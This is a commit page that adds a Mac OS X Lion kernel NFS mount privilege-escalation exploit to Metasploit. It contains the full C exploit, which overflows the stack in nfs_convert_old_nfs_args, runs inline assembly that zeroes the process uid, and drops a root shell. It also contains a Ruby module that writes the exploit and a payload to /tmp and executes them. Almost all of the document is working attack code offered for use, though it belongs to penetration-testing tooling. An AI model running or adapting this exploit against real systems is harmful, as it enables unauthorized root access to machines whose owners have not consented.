Land #3292 - Mac OS X NFS Mount Privilege Escalation Exploit
commit
5c0664fb3b
Binary file not shown.
|
@ -0,0 +1,165 @@
|
||||||
|
/*
|
||||||
|
* Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit
|
||||||
|
* CVE None
|
||||||
|
* by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com>
|
||||||
|
*
|
||||||
|
*
|
||||||
|
* Notes:
|
||||||
|
* This exploit leverage a stack overflow vulnerability to escalate privileges.
|
||||||
|
* The vulnerable function nfs_convert_old_nfs_args does not verify the size
|
||||||
|
* of a user-provided argument before copying it to the stack. As a result by
|
||||||
|
* passing a large size, a local user can overwrite the stack with arbitrary
|
||||||
|
* content.
|
||||||
|
*
|
||||||
|
* Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
|
||||||
|
* Tested on Max OS X Lion xnu-1699.32.7 (x86_64)
|
||||||
|
*
|
||||||
|
* Greets to taviso, spender, joberheide
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <strings.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/mount.h>
|
||||||
|
#include <sys/param.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
/** change these to fit your environment if needed **/
|
||||||
|
#define SSIZE (536)
|
||||||
|
|
||||||
|
/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/
|
||||||
|
struct user_nfs_args {
|
||||||
|
int version; /* args structure version number */
|
||||||
|
char* addr __attribute__((aligned(8))); /* file server address */
|
||||||
|
int addrlen; /* length of address */
|
||||||
|
int sotype; /* Socket type */
|
||||||
|
int proto; /* and Protocol */
|
||||||
|
char * fh __attribute__((aligned(8))); /* File handle to be mounted */
|
||||||
|
int fhsize; /* Size, in bytes, of fh */
|
||||||
|
int flags; /* flags */
|
||||||
|
int wsize; /* write size in bytes */
|
||||||
|
int rsize; /* read size in bytes */
|
||||||
|
int readdirsize; /* readdir size in bytes */
|
||||||
|
int timeo; /* initial timeout in .1 secs */
|
||||||
|
int retrans; /* times to retry send */
|
||||||
|
int maxgrouplist; /* Max. size of group list */
|
||||||
|
int readahead; /* # of blocks to readahead */
|
||||||
|
int leaseterm; /* obsolete: Term (sec) of lease */
|
||||||
|
int deadthresh; /* obsolete: Retrans threshold */
|
||||||
|
char* hostname __attribute__((aligned(8))); /* server's name */
|
||||||
|
/* NFS_ARGSVERSION 3 ends here */
|
||||||
|
int acregmin; /* reg file min attr cache timeout */
|
||||||
|
int acregmax; /* reg file max attr cache timeout */
|
||||||
|
int acdirmin; /* dir min attr cache timeout */
|
||||||
|
int acdirmax; /* dir max attr cache timeout */
|
||||||
|
/* NFS_ARGSVERSION 4 ends here */
|
||||||
|
uint auth; /* security mechanism flavor */
|
||||||
|
/* NFS_ARGSVERSION 5 ends here */
|
||||||
|
uint deadtimeout; /* secs until unresponsive mount considered dead */
|
||||||
|
};
|
||||||
|
|
||||||
|
/** sets the uid for the current process and safely exits from the kernel**/
|
||||||
|
static void r00t_me() {
|
||||||
|
asm(
|
||||||
|
// padding
|
||||||
|
"nop; nop; nop; nop;"
|
||||||
|
|
||||||
|
// task_t %rax = current_task()
|
||||||
|
"movq %%gs:0x00000008, %%rax;"
|
||||||
|
"movq 0x00000348(%%rax), %%rax;"
|
||||||
|
|
||||||
|
// proc %rax = get_bsdtask_info()
|
||||||
|
"movq 0x000002d8(%%rax),%%rax;"
|
||||||
|
|
||||||
|
// ucred location at proc
|
||||||
|
"movq 0x000000d0(%%rax),%%rax;"
|
||||||
|
|
||||||
|
// uid = 0
|
||||||
|
"xorl %%edi, %%edi;"
|
||||||
|
"movl %%edi, 0x0000001c(%%rax);"
|
||||||
|
"movl %%edi, 0x00000020(%%rax);"
|
||||||
|
|
||||||
|
// fix the stack pointer and return (EACCES)
|
||||||
|
"movq $13, %%rax;"
|
||||||
|
"addq $0x00000308,%%rsp;"
|
||||||
|
"popq %%rbx;"
|
||||||
|
"popq %%r12;"
|
||||||
|
"popq %%r13;"
|
||||||
|
"popq %%r14;"
|
||||||
|
"popq %%r15;"
|
||||||
|
"popq %%rbp;"
|
||||||
|
"ret;"
|
||||||
|
:::"%rax"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char ** argv) {
|
||||||
|
struct user_nfs_args xdrbuf;
|
||||||
|
char * path;
|
||||||
|
char obuf[SSIZE];
|
||||||
|
|
||||||
|
|
||||||
|
/** clear the arguments **/
|
||||||
|
memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
|
||||||
|
memset(obuf, 0x00, SSIZE);
|
||||||
|
|
||||||
|
/** set up variable to get path to vulnerable code **/
|
||||||
|
xdrbuf.version = 3;
|
||||||
|
xdrbuf.hostname = "localhost";
|
||||||
|
xdrbuf.addrlen = SSIZE;
|
||||||
|
xdrbuf.addr = obuf;
|
||||||
|
|
||||||
|
/** set ret address **/
|
||||||
|
*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
|
||||||
|
printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]);
|
||||||
|
|
||||||
|
/** create a unique tmp name **/
|
||||||
|
if ((path = tmpnam(NULL)) == NULL) {
|
||||||
|
// path can be any directory which we have read/write/exec access
|
||||||
|
// but I'd much rather create one instead of searching for one
|
||||||
|
perror("[-] tmpnam");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** make the path in tmp so that we can use it **/
|
||||||
|
if (mkdir(path, 0660) < 0) {
|
||||||
|
perror("[-] mkdir");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** inform the user that the path was created **/
|
||||||
|
printf("[*] created sploit path%s\n", path);
|
||||||
|
|
||||||
|
/** call the vulnerable function **/
|
||||||
|
if (mount("nfs", path, 0, &xdrbuf) < 0) {
|
||||||
|
if (errno == EACCES) {
|
||||||
|
puts("[+] escalating privileges...");
|
||||||
|
} else {
|
||||||
|
perror("[-] mount");
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/** clean up tmp dir **/
|
||||||
|
if (rmdir(path) < 0) {
|
||||||
|
perror("[-] rmdir");
|
||||||
|
}
|
||||||
|
|
||||||
|
/** check if privs are equal to root **/
|
||||||
|
if (getuid() != 0) {
|
||||||
|
puts("[-] priviledge escalation failed");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
/** get root shell **/
|
||||||
|
printf("[+] We are now uid=%i ... your welcome!\n", getuid());
|
||||||
|
printf("[+] Dropping a shell.\n");
|
||||||
|
|
||||||
|
/** execute **/
|
||||||
|
execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL);
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,93 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rex'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Local
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',
|
||||||
|
'Description' => %q{
|
||||||
|
This exploit leverage a stack overflow vulnerability to escalate privileges.
|
||||||
|
The vulnerable function nfs_convert_old_nfs_args does not verify the size
|
||||||
|
of a user-provided argument before copying it to the stack. As a result by
|
||||||
|
passing a large size, a local user can overwrite the stack with arbitrary
|
||||||
|
content.
|
||||||
|
|
||||||
|
Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Kenzley Alphonse', # discovery and a very well-written exploit
|
||||||
|
'joev' # msf module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'EDB', '32813' ]
|
||||||
|
],
|
||||||
|
'Platform' => 'osx',
|
||||||
|
'Arch' => [ ARCH_X86_64 ],
|
||||||
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||||
|
'Targets' => [
|
||||||
|
[ 'Mac OS X 10.7 Lion x64 (Native Payload)',
|
||||||
|
{
|
||||||
|
'Platform' => 'osx',
|
||||||
|
'Arch' => ARCH_X86_64
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Apr 11 2014'
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"
|
||||||
|
Exploit::CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
|
||||||
|
file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')
|
||||||
|
exploit = File.read(file)
|
||||||
|
pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
|
||||||
|
tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
|
||||||
|
payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
|
||||||
|
|
||||||
|
print_status "Writing temp file... #{tmpfile}"
|
||||||
|
write_file(tmpfile, exploit)
|
||||||
|
register_file_for_cleanup(tmpfile)
|
||||||
|
|
||||||
|
print_status "Writing payload file... #{payloadfile}"
|
||||||
|
write_file(payloadfile, pload)
|
||||||
|
register_file_for_cleanup(payloadfile)
|
||||||
|
|
||||||
|
print_status "Executing payload..."
|
||||||
|
cmd_exec("chmod +x #{tmpfile}")
|
||||||
|
cmd_exec("chmod +x #{payloadfile}")
|
||||||
|
cmd_exec("#{tmpfile} #{payloadfile}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def xnu_ver
|
||||||
|
m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)
|
||||||
|
m && m[1]
|
||||||
|
end
|
||||||
|
|
||||||
|
def ver_lt(a, b)
|
||||||
|
Gem::Version.new(a.gsub(/~.*?$/,'')) < Gem::Version.new(b.gsub(/~.*?$/,''))
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue